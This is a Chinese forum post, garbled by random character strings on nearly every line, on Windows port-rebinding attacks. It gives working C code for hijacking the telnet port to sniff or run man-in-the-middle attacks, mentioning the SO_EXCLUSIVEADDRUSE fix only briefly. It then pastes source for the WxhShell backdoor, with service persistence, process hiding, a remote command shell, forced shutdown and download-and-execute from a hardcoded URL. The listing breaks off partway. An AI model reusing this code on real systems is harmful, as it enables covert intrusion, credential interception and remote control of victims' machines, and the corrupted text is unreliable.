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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Sgjr4axu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W #JVUGYD  
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  saddr.sin_family = AF_INET; 2WbZ>^:Nsk  
LyCV_6;D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z- {"pI  
z=8_%r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &CPe$'FYI  
]aL  [  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =8VJ.{xy_e  
>.k@!*  
  这意味着什么?意味着可以进行如下的攻击: 1W6n[Xg  
a*$1la'Uf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J^<j=a|D  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )Or:wFSMq  
R!M|k%(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `6l24_eKf  
@Tj  6!v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F4aJr%!\6S  
'!|E+P-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [/2@=Uh-  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2Dwt4V  
HDfQ9__  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 COl%P  
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  #include ph$&f0A6Xc  
  #include ?eg@ 7n  
  #include rj`.hXO  
  #include    B )3SiU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9#=IrlV4  
  int main() Se]t;7j  
  { \Jj'60L^  
  WORD wVersionRequested; |GLn 9vw7S  
  DWORD ret; ^/RM;`h0  
  WSADATA wsaData; 7E84@V[\  
  BOOL val; oY#XWe8Om  
  SOCKADDR_IN saddr; ]V[  
  SOCKADDR_IN scaddr; (^OC%pc  
  int err; <a/ZOuBzZ  
  SOCKET s; p44uozbK  
  SOCKET sc; ,C12SM*@  
  int caddsize; oz5lt4  
  HANDLE mt; h"%,eW|^  
  DWORD tid;   }v|[h[cZ  
  wVersionRequested = MAKEWORD( 2, 2 ); qcoZ2VJ hh  
  err = WSAStartup( wVersionRequested, &wsaData ); ',-X#u  
  if ( err != 0 ) { p`V9+CA  
  printf("error!WSAStartup failed!\n"); [}g5Z=l  
  return -1; # JT%]!  
  } :~YyHX  
  saddr.sin_family = AF_INET; uZ{xt6 f  
   tYxlM!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B 0fo[Ev  
KQy\l+\gM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PYRwcJ$b\d  
  saddr.sin_port = htons(23); N pIlQaMo4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g&20F`.N*>  
  { 5;%xqdD  
  printf("error!socket failed!\n"); ^rZ+H@p:6  
  return -1; OaVL NA^{  
  } l~ >rpG  
  val = TRUE; L?5t <`#lw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ToCfLJ?{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,DsT:8  
  { 91'^--N  
  printf("error!setsockopt failed!\n"); %-zH]"Q$  
  return -1; &5CeRx7%  
  } Vf2! 0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bJu,R-f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }T(q"Vf~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wa<NId  
ku8Z;ONeH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R(#;yn  
  { |[t=.dK%  
  ret=GetLastError(); aQ3vG08L>  
  printf("error!bind failed!\n"); CKK5+  
  return -1; 5_T>HHR 6  
  } ? 9M+fi  
  listen(s,2); trA `l/  
  while(1) tz> X'L  
  { 9d|7#)a;  
  caddsize = sizeof(scaddr); ^hTJp{  
  //接受连接请求 ~7P)$[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5AYOM=O]t  
  if(sc!=INVALID_SOCKET) ):D"L C  
  { 9E!le=>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XIHN6aQ{X  
  if(mt==NULL) wHc my  
  { /U~|B.z@6  
  printf("Thread Creat Failed!\n"); :]^e-p!z  
  break; y>^^.  
  } 7RAB"T;?Q  
  } |\5^ub,m  
  CloseHandle(mt); SUncQJJ0S*  
  } ~Iu!B Y  
  closesocket(s); *T|B'80  
  WSACleanup(); `2s!%/  
  return 0; 1uw#;3<L  
  }   157_0  
  DWORD WINAPI ClientThread(LPVOID lpParam) '|C3t!H`  
  { 'X`Z1L/  
  SOCKET ss = (SOCKET)lpParam; *z=_sD?1  
  SOCKET sc; [I $+wWW_  
  unsigned char buf[4096]; ?Ec9rM\ze  
  SOCKADDR_IN saddr; 7|P kc(O  
  long num; U2oCSo5:3N  
  DWORD val; Y?T{>"_W  
  DWORD ret; ^u /%zL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y7R#PkQ~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /HC:H,"i  
  saddr.sin_family = AF_INET; 7io["zW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lo1Ui`V  
  saddr.sin_port = htons(23); iTVe8eI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pJpapA2l*6  
  { "n-'?W!  
  printf("error!socket failed!\n"); ( ?V`|[+u  
  return -1; e%4?-{(  
  } \INH[X#>  
  val = 100; 90}{4&C.^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LSo!_tY  
  { #Ondhy%h[  
  ret = GetLastError(); *dzZOe>,  
  return -1; CI|lJ  
  } /'O8RUjN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B[vj X"yg  
  { .p`4>XA  
  ret = GetLastError(); 'm%{Rz>j  
  return -1; cH]tZ$E`  
  } +>w]T\[1~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o<2GtF1"o  
  { 5/48w-fnZ  
  printf("error!socket connect failed!\n"); A 5?"  
  closesocket(sc); q^@*{H  
  closesocket(ss); gwZ<$6  
  return -1; &dtk&P{  
  } *p l6 V|  
  while(1) #%"q0"  
  { OfsP5*d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o3ZN0j69|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \?:L>-&h8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GnV0~?  
  num = recv(ss,buf,4096,0); ,CO2d)}  
  if(num>0) fS]& ?$q  
  send(sc,buf,num,0); Iw1Y?Qia  
  else if(num==0) E3L?6Qfx>  
  break; O9gq <d  
  num = recv(sc,buf,4096,0); e4X df>B  
  if(num>0) l =^A41L_  
  send(ss,buf,num,0); O-- p)\   
  else if(num==0) BEZ~<E&0H  
  break; q:{#kv8  
  } ^<]'?4m]  
  closesocket(ss); tz1@s nes  
  closesocket(sc); Hg+<GML  
  return 0 ; [ X*p [  
  } J5@08 bZm  
91 jRIB  
PN}+LOD<t  
========================================================== ^ 5 >e  
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下边附上一个代码,,WXhSHELL |@ mz@  
ycGY5t@K@  
========================================================== nx9PNl@?V  
EZtU6kW"  
#include "stdafx.h" W? 7l-k=S  
#86N !&x  
#include <stdio.h> D?|D)"?qb  
#include <string.h> 5f0M{J,KC  
#include <windows.h> Ht`fC|E  
#include <winsock2.h> Q @}$b(b  
#include <winsvc.h> Rq4; {a/j  
#include <urlmon.h> R!VfTAv  
T+8Yd(:hX  
#pragma comment (lib, "Ws2_32.lib") uLms0r\@!  
#pragma comment (lib, "urlmon.lib") F?L]Dff  
u09Tlqh0 3  
#define MAX_USER   100 // 最大客户端连接数 _h%Jf{nu  
#define BUF_SOCK   200 // sock buffer &lc@]y8  
#define KEY_BUFF   255 // 输入 buffer mY|c7}>V;  
;W|kc</R*  
#define REBOOT     0   // 重启 <J%qzt}  
#define SHUTDOWN   1   // 关机 E4#{&sRT  
_K5<)( )  
#define DEF_PORT   5000 // 监听端口 ZvY"yl?e  
5hs_k[q  
#define REG_LEN     16   // 注册表键长度 V:0IBbh)w  
#define SVC_LEN     80   // NT服务名长度 S)CsH1Q  
cS&KD@.  
// 从dll定义API VO#rJ1J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o.s'0xP]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f5}afPk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >}k*!J|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BRFsw`c  
@kXuC<  
// wxhshell配置信息 -:}vf?  
struct WSCFG { o)Q4+njT@  
  int ws_port;         // 监听端口 P0N/bp2Uy  
  char ws_passstr[REG_LEN]; // 口令 8 Ku9;VEk  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'afW'w@  
  char ws_regname[REG_LEN]; // 注册表键名 s/1r{;q  
  char ws_svcname[REG_LEN]; // 服务名 3Vu}D(PJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _/[qBe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %PW-E($o<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b+s'B4@rb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5 nt3gVy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O:]']' /  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '! >9j,BJ  
TtJX(N~  
}; #rHMf%0  
>^8O:.  
// default Wxhshell configuration 4vg,g(qi<  
struct WSCFG wscfg={DEF_PORT, 8~y!X0Ov!  
    "xuhuanlingzhe", r*HSi.'21  
    1, }0 ~$^J  
    "Wxhshell",  ff9m_P  
    "Wxhshell", .+7n@Sc  
            "WxhShell Service", )St0}?I~  
    "Wrsky Windows CmdShell Service", o*T?f)_[p  
    "Please Input Your Password: ", F"Dr(V  
  1, M]8>5Zx.  
  "http://www.wrsky.com/wxhshell.exe", S iNgV\('U  
  "Wxhshell.exe" ^P^"t^O  
    }; ~XUUrg;  
3P_.SF  
// 消息定义模块 n'rq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P IG,a~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %+r(*Q+0$f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1^IMoC7$#  
char *msg_ws_ext="\n\rExit."; Y] 1U1 08  
char *msg_ws_end="\n\rQuit."; e_-g|ukC  
char *msg_ws_boot="\n\rReboot..."; mbAzn  
char *msg_ws_poff="\n\rShutdown..."; Eu |/pH=:  
char *msg_ws_down="\n\rSave to "; 8] LF{Obz[  
.J.}}"+U  
char *msg_ws_err="\n\rErr!"; R/u0,  
char *msg_ws_ok="\n\rOK!"; clDn=k<  
d 6Y9D=O  
char ExeFile[MAX_PATH]; Cq@7oi]W0  
int nUser = 0; o. $ 48h(  
HANDLE handles[MAX_USER]; :F d1k Jm  
int OsIsNt; Rd(8j+Q?ps  
ZW M:Wj192  
SERVICE_STATUS       serviceStatus; _Q:ot'(~0-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gn7\4,C  
JP!e'oWxi  
// 函数声明 $%U}k=-  
int Install(void); 2k!uk6  
int Uninstall(void); /{({f?k<\/  
int DownloadFile(char *sURL, SOCKET wsh); .(&6gB  
int Boot(int flag); 6cg,L:j#  
void HideProc(void); N+V#=U y  
int GetOsVer(void); K*^'t ltJ  
int Wxhshell(SOCKET wsl); bLTX_ R  
void TalkWithClient(void *cs); 6rS ? FG=  
int CmdShell(SOCKET sock); "P.sK huo  
int StartFromService(void); 2SU'lh\E  
int StartWxhshell(LPSTR lpCmdLine); (9bU\4F\  
ko.% @Y(=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !B[ Y?b:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D}%VZA}].  
kFJ]F |^7  
// 数据结构和表定义 4Zjd g`  
SERVICE_TABLE_ENTRY DispatchTable[] = +VIEDV+   
{ )YCH>Za  
{wscfg.ws_svcname, NTServiceMain}, UB] tKn  
{NULL, NULL} ~+6#4<M.~  
}; dyqk[$(  
[L7S`Z  
// 自我安装 7d{xXJ-  
int Install(void) @#"K6  
{ 0o6r3xc;  
  char svExeFile[MAX_PATH]; }+ W5Snx  
  HKEY key; ;J?fK69%  
  strcpy(svExeFile,ExeFile); KW0KXO06a  
7 |Qb}[s  
// 如果是win9x系统,修改注册表设为自启动 `,  |l  
if(!OsIsNt) { WnQ'I=E#~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AED 9vDE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q#*qPg s  
  RegCloseKey(key); :U1V 2f'l3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (^=kV?<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Aw <:  
  RegCloseKey(key); /|Gz<nSc  
  return 0; v@X[0J_8  
    } v&^N+>p  
  } _qit$#wK;  
}  z_C7=ga<  
else { e mq%" ;.  
6yaWxpW  
// 如果是NT以上系统,安装为系统服务 F7p`zf@O]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yC }x6xG  
if (schSCManager!=0) d{^K8T3  
{ @S012} xH  
  SC_HANDLE schService = CreateService lZ+ 1 A0e  
  ( Tq6@ 1j6p  
  schSCManager, |qk%UN<  
  wscfg.ws_svcname,  `Q^Vm3h  
  wscfg.ws_svcdisp, t/"9LMKs?  
  SERVICE_ALL_ACCESS, Yh%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I>3G"[t  
  SERVICE_AUTO_START, 9/\=6v C|  
  SERVICE_ERROR_NORMAL, !hPe*pPVV)  
  svExeFile, Bsz;GnD|r  
  NULL, 9e 1KH'  
  NULL, b~G|Bhxa  
  NULL, \?\q0o<V$  
  NULL, 64!V8&Ay  
  NULL xeHqC9Ou  
  ); gtP;Qw'  
  if (schService!=0) iQaFR@  
  { Y wM;G g3  
  CloseServiceHandle(schService); qoD M!~  
  CloseServiceHandle(schSCManager); ]| =#FFz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _nnl+S>K  
  strcat(svExeFile,wscfg.ws_svcname); #^/&fdK~A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~oBSf+N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )6zwprH!  
  RegCloseKey(key); 8<ri"m,  
  return 0; e.g$|C^$m  
    } u"n ~ 9!G  
  } `Tf<w+H  
  CloseServiceHandle(schSCManager); My'6 yQL  
} iNs  
} CD0SXNi"zH  
I1(, J  
return 1; )6mv 7M{  
} mY1$N}8fm  
]HP  
// 自我卸载 dkf?lmC+M  
int Uninstall(void) 5G=CvGu  
{ 9X{aU)"omQ  
  HKEY key; !$5U\"M  
oM-@B'TK  
if(!OsIsNt) { %lPF q-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]urcA,a  
  RegDeleteValue(key,wscfg.ws_regname); M+^+u 1QQ0  
  RegCloseKey(key); yHoj:f$$x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VL<)d-  
  RegDeleteValue(key,wscfg.ws_regname); [OsW   
  RegCloseKey(key); (#. )~poZ  
  return 0; ;z7iUke0%  
  } z|yC[ Ota  
} b_=k"d  
} : C;=<$  
else { W~QZ(:IK  
r jL%M';  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?z60b=f8  
if (schSCManager!=0) aX1|&erI  
{ X;p,Wq#D'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y#Ch /Jg?|  
  if (schService!=0) I)O-i_}L&K  
  { (F7!&]8%  
  if(DeleteService(schService)!=0) { /^0Hi4+\  
  CloseServiceHandle(schService); ZWVcCa 3  
  CloseServiceHandle(schSCManager); e}}xZ%$4|  
  return 0; Xf9VW}`*8  
  } KFCzf_P!  
  CloseServiceHandle(schService); Fu m1w  
  } W?/7PVGv5h  
  CloseServiceHandle(schSCManager); .)u,sYZA|  
} $- #M~eZv  
} iygdX2  
lTdYPqMi  
return 1; E( *$wD  
} 'L0 2lM  
#!y|cP~;I  
// 从指定url下载文件 }kXF*cVg  
int DownloadFile(char *sURL, SOCKET wsh) 5'>(|7~%\  
{ K22W=B)Ln  
  HRESULT hr; ~&4,w9b)j  
char seps[]= "/"; .Fh5:W N  
char *token; CWI(Q`((>  
char *file; }(TZ}* d  
char myURL[MAX_PATH]; JYKA@sZHe  
char myFILE[MAX_PATH]; K$' J:{yY  
\kWceu}H,  
strcpy(myURL,sURL); )n|:9hc  
  token=strtok(myURL,seps); w>VM--  
  while(token!=NULL) {v]A`u)  
  { ycCEXu2F  
    file=token; 4"wuqr|o  
  token=strtok(NULL,seps); G*Z4~-E4*  
  } 0-4WLMx  
le|e 4f*+  
GetCurrentDirectory(MAX_PATH,myFILE); i':<Ro  
strcat(myFILE, "\\"); T92k"fBY  
strcat(myFILE, file); "2qp-'^[c  
  send(wsh,myFILE,strlen(myFILE),0); +l&ZN\@0X  
send(wsh,"...",3,0); ]eP&r?B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m]Z& .,bA  
  if(hr==S_OK) gnB%/g[_  
return 0; 7PP76$  
else K}! VY`  
return 1; 0ltq~K  
H-0A&oG  
} Eh0R0;l5>  
Y R#_<o  
// 系统电源模块 =JNoC01D  
int Boot(int flag) +lU:I  
{ z+NXD4  
  HANDLE hToken; -~v;'zOO  
  TOKEN_PRIVILEGES tkp; vQ26U(7\>  
Q6kkMLh  
  if(OsIsNt) { hU+sg~E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  g5X+iV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4 K{4=uU  
    tkp.PrivilegeCount = 1; &d9tR\}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z)yxz:E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +;pdG[N  
if(flag==REBOOT) { lJu2}XRiU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *#+XfOtF  
  return 0;  [L] ca*  
} @B*?owba>  
else { 6#KRI%adw`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z';p275  
  return 0; >j_,3{eJ  
} ZVVK:d Dgt  
  } j!qO[CJJ  
  else { a@lvn/b2  
if(flag==REBOOT) { Pfe&wA't  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PDzVXLpC  
  return 0; 2zh?]if  
} }*hY#jo1  
else { QOcB ]G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0^5SL/2  
  return 0; 5L"{J5R}  
} sr sDnf  
} ;Pnz4Y4|eU  
$j)Er.!9|R  
return 1; /4<eI 3Z  
} 959&I0=g"  
8sx\b  
// win9x进程隐藏模块 x0?8AG%  
void HideProc(void) ;mu9;ixZ  
{ c&e?_@} |  
W0K&mBu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <}pqj3  
  if ( hKernel != NULL ) KtA0 8?B  
  { /KO!s,Nk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "gfy6m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S92'\2  
    FreeLibrary(hKernel); ;m,lS_[c  
  } K@Twiw~rB  
sT?Qlj'Zd  
return; =4/LixsV|  
} KIps {_J[<  
<fCgU&  
// 获取操作系统版本 $M@SZknm  
int GetOsVer(void) tYC`?HT  
{ ja$e)  
  OSVERSIONINFO winfo; Psp3~Kg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @sO*O4os>  
  GetVersionEx(&winfo); -IMm#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f\!*%xS;  
  return 1; L~cswG'K  
  else is}o5\JEL  
  return 0; mR,p?[P  
} %qcBM~efT  
4tz8^z[Kw  
// 客户端句柄模块 L%ND?'@  
int Wxhshell(SOCKET wsl) wO@b=1j  
{ l!ltgj  
  SOCKET wsh; H'-Fv!l?  
  struct sockaddr_in client; =iC5um:  
  DWORD myID; :c"J$wT/  
pv+FPB  
  while(nUser<MAX_USER) YES!?^}  
{ c|x:]W'ij  
  int nSize=sizeof(client); .^N+'g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KW+ps16~  
  if(wsh==INVALID_SOCKET) return 1; 'm# -)R!  
!g e,]@/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S])YU?e  
if(handles[nUser]==0) O$J'BnPpw  
  closesocket(wsh); ^QTl (L  
else "ZE JL.Wy  
  nUser++; XL_X0(AKf  
  } O66\s q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )zlksF  
@Ytsb!!  
  return 0; z kYl IUD  
} fw ._  
d i`}Y&  
// 关闭 socket _j-k*:  
void CloseIt(SOCKET wsh) "tBdz V  
{ P.$U6cq  
closesocket(wsh); [Maon.t!l  
nUser--; zL5r8mD3  
ExitThread(0); I! {AWfp0  
} B3@   
w~afQA>  
// 客户端请求句柄 [4]lAxrRF  
void TalkWithClient(void *cs) aCcBmc  
{ Qzw~\KY:  
s@OCj0'l  
  SOCKET wsh=(SOCKET)cs; h`Vb#5 ik  
  char pwd[SVC_LEN]; Yr-a8aSTE5  
  char cmd[KEY_BUFF]; 9~I\WjB "  
char chr[1]; E^zgYkZO  
int i,j; }>b4s!k,  
JQYIvo1,Q  
  while (nUser < MAX_USER) { o<1e-  
Nt,)5_K <  
if(wscfg.ws_passstr) { xcnHj1r-o'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x=Qy{eIe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KGxF3xS*7  
  //ZeroMemory(pwd,KEY_BUFF); vC E$)z'"  
      i=0; x9xb4ZW  
  while(i<SVC_LEN) { qe 4hNFq  
I.r &;   
  // 设置超时 ~:b bV6YO  
  fd_set FdRead; <Q/^[  
  struct timeval TimeOut; [6K2V:6:  
  FD_ZERO(&FdRead); H/Cv?GJF  
  FD_SET(wsh,&FdRead); GK)3a 9;  
  TimeOut.tv_sec=8; .{`+bT^b<2  
  TimeOut.tv_usec=0; N~{0QewMI'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >F8&wh'BjY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V9-pY/v 9  
zwR@^ 5^6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Msn)jh  
  pwd=chr[0]; hE\,4c1  
  if(chr[0]==0xd || chr[0]==0xa) { UBOCd[  
  pwd=0; R"6Gm67t  
  break; jV\M`=4IC  
  } kQC>8"  
  i++; C,n]9  
    } 7U:,:=  
yiQke   
  // 如果是非法用户,关闭 socket LeO ))  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \hdR&f5q  
} hghtF  
*U.$=4Az  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7IBm(#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =vT3SY  
<]/`#Xgh  
while(1) { B h@R9O<  
583ej2HPg  
  ZeroMemory(cmd,KEY_BUFF); THJ KuWy  
U(-9xp+  
      // 自动支持客户端 telnet标准   |(}uagfrd  
  j=0; LnZ*,>1 Z  
  while(j<KEY_BUFF) { >r{3t{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |o~FKy1'z\  
  cmd[j]=chr[0]; yZHQql%J O  
  if(chr[0]==0xa || chr[0]==0xd) { reM%GU  
  cmd[j]=0; Ptzha?}OZ  
  break; 4en&EWUr  
  } LoOyqJ,  
  j++; cmt3ceCb  
    } F)rU* i7  
X/Umfci  
  // 下载文件 OE_;i}58  
  if(strstr(cmd,"http://")) { #Duz|F+%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yU'Fyul  
  if(DownloadFile(cmd,wsh)) CJ0{>?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pV`?=[h9  
  else sswYwU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [AgS@^"sf5  
  } h~|B/.[R:3  
  else { AY3nQH   
*UM=EQaYk  
    switch(cmd[0]) { 5>{  
  ON"F h'?  
  // 帮助 &,~0*&r0  
  case '?': { E2J.t`H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wc] L43u  
    break; cbsU!8  
  } `x%( n@g  
  // 安装 L<8:1/d\  
  case 'i': { 8)n799<.  
    if(Install()) Y [8~M8QX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p) #7K  
    else i4"BN,NZ{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,D#ssxV  
    break; zW[fHa$m  
    } FwD"Pc2  
  // 卸载 T.m*LM  
  case 'r': { sJA` A  
    if(Uninstall()) 6KT]3*B   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q o,uOi  
    else K7o!,['W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7&ty!PpD  
    break; =Yd{PZ*fR  
    } !cblmF;0  
  // 显示 wxhshell 所在路径 Ns3k(j16  
  case 'p': { 5!GL"  
    char svExeFile[MAX_PATH]; 9RzTC  
    strcpy(svExeFile,"\n\r"); sw:o3cC]  
      strcat(svExeFile,ExeFile); QPL6cU$&R  
        send(wsh,svExeFile,strlen(svExeFile),0); Rn] `_[)*~  
    break; G.#`DaP  
    } a g=,oYn  
  // 重启 ;S,k U{F  
  case 'b': { 8Jnl!4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |ATz<"q>  
    if(Boot(REBOOT)) os<YfMM<:/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ="yN4+0-p  
    else { ,\t:R1.  
    closesocket(wsh); A:{PPjs%LA  
    ExitThread(0);  -)='htiU  
    } H);O.m  
    break; gmFCjs  
    }  12W`7  
  // 关机 4<P=wK=a8X  
  case 'd': { /&PRw<}>_o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |Z ), OW  
